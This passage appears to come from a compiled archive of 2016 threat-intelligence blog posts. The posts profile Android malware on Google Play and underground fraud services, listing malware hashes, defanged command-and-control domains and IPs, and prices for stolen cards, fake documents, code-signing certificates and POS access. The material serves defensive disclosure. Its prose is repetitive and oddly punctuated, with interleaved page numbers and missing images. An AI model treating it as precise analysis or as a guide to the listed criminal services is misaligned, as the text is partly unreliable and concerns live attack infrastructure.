Based on the information acquired through an active threat

intelligence gathering acquisition

processing and dissemination program further ensuring that an organizations infrastructure

5053

can be properly protected from the threats facing its infrastructure.

04. The Future of Threat Intelligence

The future of threat intelligence gathering largely relies on a successful set of threat in-

telligence gathering methodologies active data acquisition processing and dissemination

strategies including the active enrichment of the processed data for the purpose of ensur-

ing that an organizations security defense remains properly in place. The future of threat

intelligence largely relies on the successful understanding of multiple threat vectors for

the purpose of establishing an organizations security defense. Relying on a multi-tude of

enrichment processes including the active establishment of an an active threat intelligence

gathering acquisition processing and dissemination program greatly ensures that a proactive

team-oriented approach can be implemented to ensure that an organizations security defense

remains properly protected from the threats facing its infrastructure.

05. Conclusion

Threat Intelligence acquisition processing and dissemination remains a largely proactive

response to a growing set of emerging threats facing an organizations infrastructure where

the active establishment of an active threat intelligence gathering acquisition processing

and dissemination remains an active response to a growing set of security threats facing

an organization’s infrastructure. Properly ensuring that an organization’s security defense

remains properly secured from the threats facing its infrastructure ensures that an organiza-

tions security defense remains properly in place further ensuring that a successful information

security strategy can be properly implemented and that an organization’s security defense

can be properly put in place.

If you would like to receive additional information regarding a possible threat intelligence

program evaluation facing your company’s infrastructure including additional information

regarding the threat landscape discussing the threats facing your organizations infrastructure

you can approach me at dancho.danchev@hush.com

12.2.2 Mobile

Malware

Hits

Google

Play,

Thousands

of

Users

Affected

(2016-05-15 17:28)

We've recently, intercepted, a currently, ongoing, malicious, campaign, that's utilizing, Google

Play, for, the purpose, of, serving, malicious, software, to, unsuspecting, users.

5054

In this, post, we'll, profile, the campaign, provide malicious MD5s, expose, the, malicious,

infrastructure, behind, it, and, discuss, in, depth, the, tactics, techniques, and procedures, of,

the, cybercriminals, behind, it.

Malicious MD5s known to be part, of the, malicious, campaign:

MD5: 4cbc7513072a1c0b03f7cedc6d058af4

MD5: 4defc5803de76f506bfc3a6c2c90bd87

MD5: 13647981b37f0c038e096c58b8962f95

Once, executed, the, sample, phones, back, to, the, following, C &C servers:

hxxp://petrporosya.com/123/ - 185.106.92.110

hxxp://78.46.123.205/111/inj/paypal/paypal.php

Known to have responded to the same malicious C &C server IP (185.106.92.110) is

also the following malicious C &C server:

hxxp://traktorporosya.com

Related malicious MD5s known to have phoned back to the same malicious C &C server

(185.106.92.110):

MD5: a765d6c0c046ffb88f825b3189f02148

MD5: 48cd9d9e03f92743b673a0c8ce58704a

MD5: 58f02914791f1e3075d574e288c80a26

MD5: 09f3f1bd2e91fb5af0c71db307777bbb

MD5: 568ef0fb4d645350b65edb031f4ade2f

MD5: d06ec8b877e2f0f73c4533c4c105acb8

Related malicious MD5s known to have phoned back to the same malicious C &C server

5055

(78.46.123.205):

MD5: 32c8af7e7e9076b35dde4d677b14e594

MD5: 27e4b9ae53c2300723c267cf67b930bf

We'll continue monitoring the campaign, and, post, updates, as, soon, as, new, develop-

ments, take, place.

12.2.3 Malicious Campaign Affects Hundreds of Web Sites, Thousands of Users Af-

fected (2016-05-16 10:33)

We've recently intercepted, a currently, circulating, malicious, campaign, affecting, hundreds,

of Web sites, and exposing, users, to, a, multi-tude, of, malicious, software.

In this post, we'll profile, the campaign, provide malicious MD5s, expose, the, infrastruc-

ture, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the,

cybercriminals, behind it.

Malicious URLs used in the campaign:

hxxp://default7.com - 199.48.227.25

hxxp://test246.com - 54.208.99.166

hxxp://test0.com - 72.52.4.119

hxxp://distinctfestive.com - 54.208.99.166

hxxp://ableoccassion.com - 54.208.99.166

Sample malware used in the campaign:

MD5: 9854f14ca653ee7c6bf6506d823f7371

Once executed, a, sample, malware, phones, back, to, the, following, C &C server:

hxxp://intva31.homelandcustom.info (52.6.18.250)

5056

Known to have phoned back to the same malicious C &C server IP (54.208.99.166), are,

also, the, following, malicious, MD5s:

MD5: fd368af200fd835687997ca2a4a0389b

MD5: c0379cda1717d1e05c938f8e06c04a46

MD5: b708860e7962b10e26568c9b037765df

Known to have phoned back to the same malicious C &C server IP (54.208.99.166) are

also the following malicious MD5s:

MD5: 9854f14ca653ee7c6bf6506d823f7371

MD5: 90a88230d5b657ced3b2d71162a33cff

MD5: 70465233d93aa88868d7091454592a80

MD5: f8e21525c6848f45e4ab77aee05f0a28

5057

Related malicious MD5s known to have phoned back to the same malicious C &C server

(54.208.99.166):

MD5: fd368af200fd835687997ca2a4a0389b

MD5: c0379cda1717d1e05c938f8e06c04a46

MD5: 60eef5b116579d75b272a61e40716bc0

MD5: 8481f23748358fbfd5c36cea53c90793

MD5: 0953f8ec3f0001b3e5f3490203135def

We'll continue, monitoring, the, campaign, and, post, updates, as, soon, as, new, devel-

opments, take, place.

12.2.4 Mobile Malware Hits Google Play, Hundreds of Users Affected (2016-05-16 13:06)

We've recently, intercepted, yet, another, mobile, malware, variant, affecting, Google Play,

with, the, cybercriminals, behind, it, exposing, its, users, to, a, multitude, of, malicious,

software.

In this post, we'll profile, the campaign, provide malicious MD5s, expose, the, infrastruc-

ture, behind it, and, discuss, in-depth, the, tactics, techniques, and procedures, of, the,

cybercriminals, behind it.

Malicious MD5s used in the campaign:

MD5: 7f55e0b91f5151328e779a3a425fc241

MD5: 91139d1dfa5df1f18c7f40192b2c49ce

Once executed, a, sample, phones, back, to, the, following, C &C, server:

hxxp://mob-stats.com - 5.149.252.2

5058

Known C &C server, used, in, the, campaign:

hxxp://update-sys-android.com/upd.php - 192.99.99.186

Once executed, a, sample, malware, phones, back, to, the, following, C &C, servers:

hxxp://counter.wapstart.ru - 185.127.149.76; 81.19.95.17

hxxp://goalez.com - 91.219.195.3; 91.219.194.43; 91.219.194.8

Known to have phoned back to the same C &C server (185.127.149.76; 81.19.95.17),

are, also, the, following, malicious, MD5s:

MD5: c8afecd653d4b0b7ea48de13d6001a31

MD5: bfdb43b0f44a986c2cb495c38746cd23

Once executed, a, sample, malware, phones, back, to, the, following C &C servers:

hxxp://kingwar.mgates.ru - 148.251.154.17

hxxp://counter.wapstart.ru - 185.127.149.76

Known, to, have, phoned, back, to, the, same, malicious, C &C, server (91.219.195.3),

are, also, the following, malicious, MD5s:

MD5: 3ad15daf656a06bf850ea6973192ae47

MD5: 117b8362a54ece041307a136aceeb92c

MD5: 1521e73bb153f31015ab037f979602bc

MD5: 25318484bab66e0e8762c9fc5a1f888d

Once executed, a, sample, malware, phones, back, to, the, following, C &C servers:

hxxp://forces.may-trade.ru - 185.82.216.58

5059

hxxp://plusfiles.890m.com - 91.219.195.3

Known to have been downloaded from the same malicious C &C server IP (91.219.194.8) are

also the following malicious MD5s:

MD5: 31ad2a5a5d02e6c5e55817386b8eec01

MD5: 0815607c938c4f2088569be34ff57141

MD5: f629111b34e8e4d97ee26d2c6b19db96

MD5: 29d87de6b476fc1a873962ae04bbe206

MD5: a27158c55555ff2953e0a54a9996713d

Known to have phoned back to the same malicious C &C server IP (91.219.194.43), are,

also, the, following, malicious, MD5s:

MD5: 76dd60b9f406be3b808db6fca2d856ff

MD5: ad33371a2495a0f9236c988f7024edb1

Once executed, a, sample, malware, phones, back, to, the, following, C &C server IPs:

hxxp://mu.sanek.com - 208.73.211.168

hxxp://muforum.info - 91.219.194.43

hxxp://best-hoster-group.ru - 91.219.193.252

hxxp://best-hoster.ru - 91.219.193.252

hxxp://freeller.net - 91.219.193.254

hxxp://hostagent.ru - 77.222.40.254

hxxp://ksdnewr.com - 192.64.147.242

We'll continue, monitoring, the, campaign, and post, updates, as soon, as new, develop-

ments, take, place.

5060

12.2.5 Mobile Malware Intercepted, Thousands of Users Affected (2016-05-16 14:23)

We've recently intercepted a new mobile malware, variant, targeting, users, internationally,

and exposing, their, devices, to, a, multi-tude, of malicious, software.

In this post, we'll profile, the campaign, provide malicious MD5s, expose, the infrastruc-

ture, behind, it, and discuss, in, depth, the, tactics, techniques, and procedures, of, the,

cybercriminals, behind it.

Sample malicious MD5s used in the campaign:

MD5: 4f1696cc06bdab9508ba3434edab2f49

MD5: 15ef763ba561eb91b5790906505f0f79

MD5: 890dfd6b50b7ca870ceb04762725b8a6

MD5: 4a3b68aeb96ef0f26f855f6afb688a3c

MD5: c729ce2babce74998726257f167da62e

MD5: 3db50821ff074a70dcbc5c31c0a78e14

Once executed, a sample, malware, phones back to the following C &C server:

hxxp://alfabrong.eu/data/
id=39759ac6-0898-424b-9e0d-790edfaa700e

-

5.101.117.79;

5.187.4.15

Known to have responded to the same malicious C &C server (5.101.117.79) are also

the following malicious domains:

hxxp://bugstracking.xyz

hxxp://bugstrucking.xyz

hxxp://ssd850pro.pw

hxxp://forclonabster.eu

hxxp://bugtracking.biz

5061

hxxp://directplaytds.com

hxxp://forclonabster.xyz

hxxp://alfabrong.eu

hxxp://innotion.pw

Known to have responded to the same malicious C &C server

(5.187.4.15) are also the

following malicious C &C servers:

hxxp://alfabrong.eu

hxxp://hyperlabs.biz

hxxp://nkprus.ru

hxxp://programmiandroid.org

We'll continue monitoring the campaign, and, will, post, updates, as, soon, as, new, de-

velopments, take, place.

12.2.6 Mobile Malware Hits Google Play, Hundreds of Users Affected (2016-05-16 17:52)

We've, recently, intercepted, yet, another, malicious, campaign, utilizing, Google Play, for,

the, purpose, of, serving, malicious, software, to, unsuspecting, users.

In this, post, we'll profile, the campaign, provide, malicious MD5s, expose, the, infras-

tructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the

cybercriminals, behind, it.

Malicious MD5s known to have participated in the campaign:

MD5: 3e57ef2802977c3c852a94bab131c84b

Known C &C servers, part, of, the, campaign:

hxxp://localbitcoinsfast.com - 198.105.215.251

5062

hxxp://newdesigns2016.biz - 190.97.166.230

Once executed, the, sample, phones, back, to, the, following, C &C server:

hxxp://netspendexpress.biz - 68.71.49.24

Known to have phoned back to the same malicious C &C server IP (198.105.215.251),

are, also, the, following, malicious, MD5s:

MD5: c1b3912711dceab2cfb86f920eb69919

Once executed, a, sample, malware, phones, back, to, the, following C &C servers:

hxxp://drone.hosterbox.com (68.71.49.24; 68.71.49.25; 142.4.12.128)

Known malicious MD5s, known, to, have, phoned, back, to, the, same C &C server IP

(68.71.49.24):

MD5: 7453f9445512e48357d91491b0e32134

MD5: 138c9475d4dc80185d4d3dd612c89d50

MD5: 2be0a8f626430d6c3c9588b55253ef95

We'll continue monitoring the campaign, and, post, updates, as, soon, as, new, develop-

ments, take, place.

12.2.7 Mobile Malware Intercepted, Thousands of Users Affected (2016-05-16 21:01)

We've, recently, intercepted, yet, another, malicious, malware, campaign, affecting, Google

Play, exposing, unsuspecting, users, to, a milti-tude, of malicious, software.

In this post, we'll profile, the, campaign, provide, malicious MD5s, expose, the, infras-

tructure, behind, it, and, discuss, in, depth, the, tactics, techniques, and procedures, of, the,

cybercriminals, behind, it.

5063

Malicious MD5s, known, to, have, participated, in, the, campaign:

MD5: 1c87344c24d8316c8f408a6f0396aa43

MD5: 390e66ffaccaa557a8d5c43c8f3a20a9

MD5: 8e2f8c52f4bb8a4e7f8393aa4a0536e1

MD5: ada4b19d5348fecffd8e864e506c5a72

Once executed, a sample, malware, phones, back, to, the, following C &C, servers:

hxxp://telbux.pw - 176.9.138.114

Malicious MD5s, known, to, have, been, downloaded, from, the, same, C &C server IP

(176.9.138.114):

MD5: f8471c153414b65bbeb80880dc30da0a

MD5: 5955411fe84c10fa6af7e40bf40dcdac

MD5: ec3e5125190d76c19ca1c0c9172ac930

MD5: 0551f10503369f12cd975468bff6d16a

MD5: 1127390826a9409f6fd7ad99c4d4af18

Once executed, a, sampled, malware, phones, back, to, the, following, C &C server:

hxxp://144.76.70.213

hxxp://joyappstech.biz - 136.243.240.229

We'll, continue, monitoring, the, campaign, and post, updates, as, soon, as, new, devel-

opments, take, place.

5064

12.2.8 Mobile Malware Intercepted, Thousands of Users Affected

(2016-05-17 03:34)

We've, recently, intercepted, yet, another, malicious, mobile, malware, exposing, unsuspect-

ing, users, to, a, multi-tude, of, malicious, software.

In this, post, we'll profile, the, campaign, provide, malicious MD5s, expose, the, infras-

tructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the,

cybercriminals, behind it.

Known malicious MD5s, participating, in, the, campaign:

MD5: 27ad60e62ff86534c0a9331e9451833d

MD5: 78fbac978d9138651678eb63e7dfd998

Malicious C &C server, part, of, the, campaign:

hxxp://apk.longxigame.com - 123.138.67.91; 106.119.191.98

Known to have been downloaded from the same malicious C &C server IP (123.138.67.91),

are, also, the, following, malicious, MD5s:

MD5: a6c9a8cfa41b608573f8a9adf767daa0

MD5: a5d98369590bd2e001ac3e2986b3d7e9

MD5: 8c5e6c7bc945877740f10e91e9640f70

MD5: e82c58593e787193b5e19810b7ab504e

MD5: 814d7d6701f00c7b96c7026b5561911c

Known to have responded, to, the, same, malicious, C &C server (apk.longxigame.com),

are, also, the, following, malicious, domains:

hxxp://103.243.139.241

12.4 August

12.4.1 Historical OSINT - Exposing the Market for Stolen Credit Card Data

(2016-08-16 03:01)

With the carding underground continuing to flourish, for the purpose, of, monetizing commodi-

tized underground items such as, stolen credit cards, cybercriminals continue to over-supply

the [1]**market segment for stolen credit cards data**, largely relying on a boutique type of

cybercrime-operations business model, continuously supplying the market segment with tens

of thousands of stolen credit cards data.

Thanks, to, the general availability of malicious software whose purpose is to obtain and

process stolen credit cards data, cybercriminals continue to over-supply the marketplace with

tens of thousands of stolen credit cards, further, continuing, to, monetize the commoditized

underground marketplace item, through, the use of boutique E-shops, offering access to tens

5100

of thousands of stolen credit cards data.

In this post we'll profile several boutique E-shops for stolen credit cards data and pro-

vide actionable intelligence on the cybercriminals behind it.

Related data exposing the infrastructure behind the most popular boutique E-shops of-

fering access to stolen credit cards data:

Thanks to the vibrant cybercrime ecosystem, cybercriminals will continue to actively

monetize access to malware-infected hosts, for the purpose, of earning fraudulent revenue

and achieving stolen assets liquidity, while earning fraudulent revenue in the process.

We'll continue monitoring the market segment for stolen credit cards data, and post up-

dates as soon as new developments take place.

12.4.2 Cybercriminals Offer Fake/Fraudulent Press Documents

Accreditation On Demand (2016-08-16 20:07)

In a cybercrime ecosystem, dominated by fraudulent market propositions, and new market entrants occupying new market segments on a daily basis, cybercriminals are perfectly positioned, to continue offering, commoditized underground market goods, such as, for instance, fake documents, for the purpose of generating fraudulent revenue, while empowering fellow cybercriminas, with the necessary tools to further commit fraudulent activities.

5102

In this post, we'll, discuss a newly launched service, offering fake press accreditation documents, and discuss the overall relevance of the

service, in the context of the underground marketplace's ongoing

commoditization, basic market segmentation concepts, as well as newly

applied concepts such as DIY (do-it-yourself) type of services, and

basic OPSEC with QA (Quality Assurance) in mind.

5103

5104

"О средствах массовой информации"
Статья 47. Права журналиста
Журналист имеет право:
Статья 58. Ответственность за ущемление свободы массовой информации
Связь в ВК или по имейлу [redacted]

5105

5106

The

service is currently offering custom-made press accreditation documents for the Russian Federation, allowing potential cybercriminals the ability to access press-free zones, potentially commiting related fraudulent activities.

The

price varies between $62 and $130 depending on the

number of fake documents requested, including the option to request

anonymous delivery of the fake documents.

Thanks

to a vibrant DIY (do-it-yourself) custom-based type of fake documents

generating market segment, cybercriminals, have also successfully

managed to efficiently streamline the process of generating these

documents, applying, both, basic OPSEC (Operational Security)

measures in place, to ensure that they're perfectly positioned to

reach to their targeted audience, while preserving a decent degree of

their operational procedures, as well as Q &A (Quality Assurance)

processes, to further ensure the quality of their underground market

proposition.

5107

We expect to continue

observing a decent supply of segmented market propositions,

targeting, both, novice and experienced cybercriminals, seeking to

obtain fake documents, on their way to commit related fraudulent

activities.

12.4.3 Spam-friendly Image Randomization Tool Released on the Underground Mar-

ketplace (2016-08-17 13:34)

Cybercriminals,

continue applying basic QA (Quality Assurance) processes, to their

fraudulent campaigns, on their way to achieve a posive ROI (Return on

Investment) out of their fraudulent activities.

In

this post, we'll discuss a newly launched commercial tool, that's capable of generating unique images, for the purpose of tricking spam filters, in an attempt to trick end users into falling victim into the fraudulent campaign.

5109

5110

5111

Priced

at $25, the API-enabled tool is capable of converting a regular image, executed in a spam campaign, into a new one, successfully bypassing spam filters, exposing end users to fraudulent attempts, generating fraudulent revenue, for the cybercriminals behind the campaign.

5112

We

expect to continue observing an increase in QA (Quality Assurance) driven underground market propositions, leading to a successful set of fraudulent propositions, dominating the underground marketplace.

12.4.4 Managed Social Engineering Based Code Signing Generating Certificate Ser-

vice Spotted in the Wild (2016-08-17 14:23)

Cybercriminals

are masters of social engineering, potentially tricking, tens of thousands of users on a daily basis, into falling victims into fraudulent cybercrime-friendly campaigns, generating them, hundreds of thousands of fraudulent revenues, successfully, contributing to the growth of multiple underground market segments, within, the underground marketplace.

In

this post, we'll discuss a newly launched service, empowering, both, novice, and experienced cybercriminals, with the necessary tools and know how, to further commit, fraudulent activities, in the form of socially engineered code signing certificates, obtained through the registration of bogus and non-existent companies.

5113

Priced

at $1,000 per certificate, the service is also offering discounts on

a volume basis, including custom contacts based customization files,

including detailed info about the rogue company, used in the code

signing process. Relying on basic 'visual social engineering'

concepts, cybercriminals are perfectly positioned, to execute a

successful campaign on a mass scale, or in a targeted nature,

successfully targeting tens of thousands of users.

We

expect to continue observing relevant code signing as a service, type

of cybercrime-friendly propositions, within the cybercrime ecosystem,

with more market vendors, entering the market segment, further

5114

positioning themselves, as market leaders, through basic market

segmentation, and efficient social engineering techniques.

12.4.5 Newly Launched Cybercrime Service Offers Access to POS

Terminals on De-

mand (2016-08-17 14:32)

Cybercriminals

continue applying basic market segmentation concepts, to their underground market propositions, to further ensure, that, they’re capable of targeting the right audience, potentially generating hundreds of thousands of fraudulently generating revenues in the process.

From

basic, malware as a service underground market propositions, offering access to country, city, ISP based type of malware-infected hosts, to cybercrime-friendly services, offering access to malware-infected hosts converted to anonymization proxies, to further target additional market segments, within the cybercrime ecosystem, cybercriminals continue to utilize basic market segmentation concepts, based on the targeted population.

In

this post, we’ll discuss a newly launched managed service, offering

access to POS (Point of Sale) terminals, further empowering, both, novice, and sophisticated cybercriminals, with the necessary access to commit related fraudulent activities.

5116

5117

The

service is currently offering access to POS (Point of Sale)

terminals, located, in the United States, Canada, Australia, United

Kingdom, the Netherlands and Germany, priced between $30 and $50 for

access to a POS (Point of Sale) terminal.

5118

Cybercriminals,

continue relying on basic data mining concepts, while utilizing the

overall target population, further, ensuring that their

market-relevant propositions, while, continuing to generate fraudulent revenues, in, the, pro-

cess.

We

expect to continue observing an increase in underground market

propositions, utilizing basic market segmentation concepts, further

positioning, both, novice, and experienced market leaders, as

relevant and competitive market participants, potentially generating

tens of thousands of fraudulently obtained assets in the process.

12.4.6 Invitation - Private Party - Kings of Wisdom (2016-08-19 03:52)

12.4.7 New Cybercrime-Friendly Service Offers Fake Documents and Bills on Demand

(2016-08-28 15:33)

The market segment, for, fake, documents, and, bills, continues, flourishing, thanks, to, a,

vibrant, cybercrime, ecosystem, offering, access, to, a, variety, of commoditized, under-

ground, market, items, further generating fraudulent revenue for the cybercriminals behind

it. Thanks to the overall availability of DIY (do-it-yourself) type of malware generating tools,

and, the, overall prevalence, of money mule recruitment scams, allowing, cybercriminals, an

easy access to basic risk-forwarding, tactics, cybercriminals, continue, generating, tens, of

thousands, of fraudulent revenue in the process.

In this, post, we'll discuss a newly launched managed cybercrime service offering ac-

cess to fake documents, stolen credit cards, and, fake, bills, and, discuss, in-depth, the tactics,

techniques, and procedures, of, the, cybercriminals behind it.

5120

5121

The service is currently offering fake documents for Australia, Belgium, Brazil, Canada,

Denmark, Estonia, Finland, France, Germany, Greece, Italy, India, Netherlands, Norway, Latvia,

Lithuania, Poland, Romania, Slovakia, Slovenia, Sweden, United Kingdom, USA, Russia, and

fake bills for, Australia, Austria. Canada, Czech Republic, Estonia, France, Finland, Germany,

Irland, Italy, United Kingdom, Latvia, Norway, Romania, Slovakia, Sweden, Switzerland, USA,

Spain, Russia, France, Ukraine.

We'll continue monitoring the market segment for fake documents, and, post, updates,

as soon, as, new, developments, take place.

12.5.1 New Mobile Malware Intercepted in the Wild, Hundreds of Users Affected

(2016-09-06 19:29)

We've, recently,

intercepted, a, currently, circulating, malicious, spam, campaign,

affecting, hundreds, of, users, globally, potentially, exposing, the,

confidentiality, availability, and, integrity, of, their, devices,

to, a, multi-tude, of, malicious, software. Largely, relying, on, a,

set, of, social, engineering, vectors, cybercriminals, continue,

monetizing, and, earning, fraudulent, revenue, while, affecting, hundreds, of, thousands, of, users, globally.

Thanks, to, the,

overall, availability, of, affiliate, based, type, of, monetization, approaches, cybercriminals, continue, successfully, monetizing, hijacked, and, acquired, underground, market, type, of, hijacked, and, acquired, traffic, for, the, purpose, of, earning, fraudulent, revenue, in, the, process.

5128

In, this, post,

we'll, profile, the, campaign, provide, actionable, intelligence, on, the, infrastructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the, cybercriminals, behind, it.

We'll, continue, monitoring, the,

5305

market, segment, for, mobile, malware, and, post, updates, as, soon,

as, new, developments, take, place.

12.5.3 The Rise of Mobile Malware - A Retrospective (2016-09-23 18:53)

With, mobile, malware, continuing, to,

proliferate, cybercriminals, continue, getting, successfully,

positioned, to, take, advantage, of, hundreds, of, thousands, of,

socially, engineering, users, on, their, way, to, earn, fraudulent,

revenue, in, the, process, of, monetizing, access, to, their,

devices, potentially, compromising, the, confidentiality, integrity,

and, availability, of, their, devices, on, their, way, to, earn,

fraudulent, revenue, in the, process.

Thanks, to, a vibrant,

cybercrime, ecosystem, offering, access, to, a, variety, of, managed,

cybercrime-friendly, services, next, to, the, overall, availability,

of, DIY (do-it-yourself), type, of, malicious, software, generating,

tools, cybercriminals, continue, getting, successfully, positioned,

to, take, advantage, of, hundreds, of, thousands, of, socially,

engineered, users,

on, their, way, to, monetize, access,

to, their, devices, and, earn, fraudulent, revenue, in, the, process.

5306

Largely, relying, on, a, set, of,

socially, engineering, attack, vectors, cybercriminals, continue,

successfully, infiltrating, and, bypassing, Google Play, the, Web's,

most, popular, Android, applications, marketplace, on, their, way,

to, earn, fraudulent, revenue, in, the, process, successfully,

tricking, hundreds, of, thousands, of, users, into, successfully,

executing, malicious, software, on, their, devices.

Thanks, to, a, vibrant,

cybercrime-friendly, ecosystem, offering, a, variety, of, managed, services, including, the,

compromise,

of, a, legitimate, publisher's, Google Play, account, cybercriminals,

continue, successfully, infiltrating, Google Play, successfully,

earning, fraudulent, revenue, in, the, process, while, tricking,

tens, of, thousands, of, socially, engineered, users, into,

executing, malicious, software, on, their, devices.

Largely, relying,

on, the, active, abuse, of, access, to, a, malware-infected, hosts,

cybercriminals, continue, successfully, utilizing, basic, data,

mining, techniques, to, successfully, obtain,

access, to, a, set, of, Web, properties, including, but, not,

limited, to, Google Play, for, the, purpose, of, successfully,

earning, fraudulent, revenue, in, the, process. Largely, relying, on,

basic, traffic, segmentation, tactics, cybercriminals, are,

successfully, positioned, to, obtain, access, to, a, legitimate,

Google Play, publisher's, account, for, the, purpose, of,

successfully, monetizing, access, to, a, particular, publisher's,

account, on, their, way, to, spread, malicious, software, and, earn,

fraudulent, revenue, in, the, process.

5307

These, basic, social, engineering,

type, of, attack, techniques, continue, successfully, empowering,

cybercriminals, with, the, necessary, tactics, techniques, and,

procedures, successfully, bypassing, Google Play's, security

mechanisms, on, their, way, to, spread, malicious, software, and,

earn, fraudulent, revenue, in, the, process, of, obtaining, access,

to, a, particular, publisher's, Google Play, account.

Next, to, the,

general, compromise, of, a, legitimate, publisher's, Google Play,

account, cybercriminals, are, successfully, positioned, to, take,

advantage, of, primary, Android, applications, marketplaces, such, as, Google, Play,

for, the, purpose, of, successfully, establishing, rogue,
publisher's, reputations, successfully, relying, on, a, set, of,
cybercrime-friendly, managed, underground, type, of, managed,
cybercrime-friendly, services, offering, access, to, Google, Play,
for, the, purpose, of, successfully, monetizing, access, to, a,
particular, publisher's, account, largely, relying, on, a, set, of,
social, engineering, attack, vectors, in, combination, with, the,
use, of, cybercrime-friendly, managed, DIY (do-it-yourself), type,
of, managed, cybercrime-friendly, services, successfully, monetizing,
access, to, a, particular, publisher's, account, for, the, purpose,
of, earning, fraudulent, revenue, in, the, process, while,
successfully, infiltrating, the, Web's, most, popular, Android,
marketplace, Google, Play.
Next, the, general, compromise, of, a,
legitimate, publisher's, Google, Play, account, next, to, the,
general, infiltrating, of, Google, Play, for, the, purpose, of,
pushing, malicious, software, to unsuspecting, users, cybercriminals,
continue, actively, relying, on, a, set, of, underground, market,
cybercrime-friendly, secondary, marketplaces, offering, access, to,
hundreds, of, thousands, of, rogue, Android, applications,
successfully, bypassing, a, socially, engineered, user's, security,
device, security, mechanisms, on, their, way,
5308
to, earn, fraudulent, revenue, in, the, process, while, successfully,

monetizing, access, to, a, particular, compromise, device, on, their, way, to earn, fraudulent, revenue, in, the, process.

With, secondary,

marketplaces, continuing, to, proliferate, cybercriminals, continue, earning, fraudulent, revenue, in, the, process, of, monetizing, and, obtaining, access, to, a, socially, engineered, user's, compromised, device. Largely, relying, on, a, set, of, black, hat, SEO (search engine optimization) tactics, cybercriminals, continue, actively, populating, secondary, marketplaces, with, hundreds, of, thousands, of, rogue, applications, potentially, exposing, the, confidentiality, integrity, and, availability, of, a, socially, engineered, user's, compromised, device, for, the, purpose, of, earning,

fraudulent, revenue, in, the, process.

With, secondary, marketplaces, continuing, to, bypass, a, socially, engineered, user's, device, security, for, the, purpose, of, earning, fraudulent, revenue, in, the, process, cybercriminals, continue, to, successfully, bypass, an, affected, user's, device, security, for, the, purpose, of, earning, fraudulent, revenue, in, the, process.

Thanks, to, a vibrant,

cybercrime-friendly, ecosystem, cybercriminals, continue, to, successfully, infiltrate, primary, and, secondary, marketplaces, with, hundreds, of, malicious, releases, thanks, to, the, overall, availability, of, DIY (do-it-yourslef), malicious, software, generating, tools, next, to, the, overall, availability, of, managed,

cybercrime-friendly, services, successfully, empowering,

cybercriminals, with, the, necessary, tactics, techniques, and,

procedures, for, the, purpose, of, launching, malicious, attacks,

successfully, bypassing, a, primary, and, secondary, marketplaces,

security, mechanisms, in, place. Next, to, the, overall,

availability, of, DIY (do-it-yourself), type, of, malicious,

software, generating, tools, cybercriminals, continue, to, actively,

take, advantage, of, managed, malware-as-a-service, type, of,

managed, cybercrime-friendly, services, for, the, purpose, of,

successfully, generating, malicious, software, type, of,

cybercrime-friendly, releases, successfully, bypassing, primary, and, secondary,

marketplaces, security, mechanisms, in, place.

Among, the, most,

popular, features, of, such, type, of, managed, cybercrime-friendly,

type, of, managed, cybercrime-friendly, type, of, services, remain,

the, active, infiltration, of, primary, and, secondary, marketplaces,

including, the, active, verification, of, a, particular, malicious,

release, against, the, most, popular, antivirus, scanners,

successfully, ensuring, the, sucess, rate, for, a, particular,

malicious, campaign, while, earning, fraudulent, revenue, in, the,

process, on, their, way, to, successfully, infiltrate, a, socially,

engineered, user's, device, while, earning, fraudulent, revenue, in,

the, process.

Among, the, most, popular, traffic,

acquisition, tactics, remain, the, active, utilization, of,

underground, market, traffic, exchanges, for, the, purpose, of,

successfully, monetizing, and, acquiring, the, hijacked, traffic,

for, the, purpose, of, successfully, spreading, malicious, software,

to, unsuspecting, users, globally, while, earning, fraudulent,

revenue, in, the, process, on, their, way, to earn, fraudulent,

revenue, in, the, process. Next, to, the, active, traffic,

5310

acquisition, tactics, thanks, to, the, overall, availability, of,

underground, market, traffic, exchanges, cybercriminals, continue,

to, actively, rely, on, basic, traffic, segmentation, tactics, for,

the, purpose, of, serving, malicious, software, to, unsuspecting,

users, while, earning, fraudulent, revenue, in, the, process.

Continuing, to, rely, on, basic, traffic, segmentation, tactics, cybercriminals,

continue, to, successfully, acquire, and, monetize, hijacked,

traffic, successfully, monetizing, access, to, hundreds, of,

thousands, of, socially, engineered, users, globally, potentially,

exposing, the, confidentiality, integrity, and, availability, of,

their, devices, to, a, multi-tude, of, malicious, software, while,

earning, fraudulent, revenue, in the, process. Among, the, most,

popular, growth, factors, for, the, purpose, of, earning, fraudulent,

revenue, in, the,

process, remain, the, active,

utilization, of, affiliate-network, type, of, rogue, software,
generating, type, of, networks, successfully, bypassing, the,
security, mechanisms, of, primary, and, secondary, marketplaces,
successfully, empowering, cybercriminals, with, the, necessary,
tactics, techniques, and, procedures, for, the, purpose, of, earning,
fraudulent, revenue, in, the, process, while, successfully,
monetizing, access, to, hundreds, of, thousands, of,
malware-infected, devices, globally.
Next, to, the, active, traffic,
acquisition, tactics, for, the, purpose, of, earning, fraudulent,
5311
revenue, while, monetizing, access, to, socially, engineered, user's,
devices, globally, cybercriminals, continue, to, actively, monetize,
access, to, hundreds, of, thousands, of, compromised, Web sites,
successfully, monetizing, access, in, an, automated, fashion,
largely, relying, on, managed, and, automated, Web, site,
exploitation, tools, and, services, successfully, bypassing, the,
security, and, confidentiality, and, integrity, and, availability,
of, hundreds, of, socially, engineered, users, globally.
Once, a,
particular, cybercriminal, compromises, a, legitimate, Web sites, in,
an, automated, fashion, he, would, automatically, launch, a,
malicious, campaign, successfully, bypassing, the, security,
confidentiality, and, availability, of, hundreds, of, socially,

engineered, users, globally, for, the, purpose, of, earning, fraudulent, revenue, in, the, process, while, successfully, monetizing, access, to, a, variety, of, users, globally, for, the, purpose, of, earning, fraudulent, revenue, in, the, process, while, successfully, monetizing, access, to, hundreds, of, thousands, of, users, globally, for, the, purpose, of, earning, fraudulent, revenue, in, the, process.

Thanks, to, the, overall, availability,

of, malicious, software, generating, tools, managed, cybercrime friendly, services, the, overall, prevalence, of, cybercrime-friendly, underground-marketplace, traffic, exchanges, and, the, automated, exploitation, of, hundreds, of, thousands, of, legitimate, Web sites, in, an, automated, fashion, cybercriminals, continue, to, successfully, monetize, and, earn, fraudulent, revenue, in, the, process, of, obtaining, access, to, a, targeted, user's, device, for, the, purpose, of, successfully, bypassing, the, confidentiality, availability, and, integrity, of, the, targeted,

5312

user's, device, successfully, monetizing, and, earning, fraudulent, revenue, in, the, process.

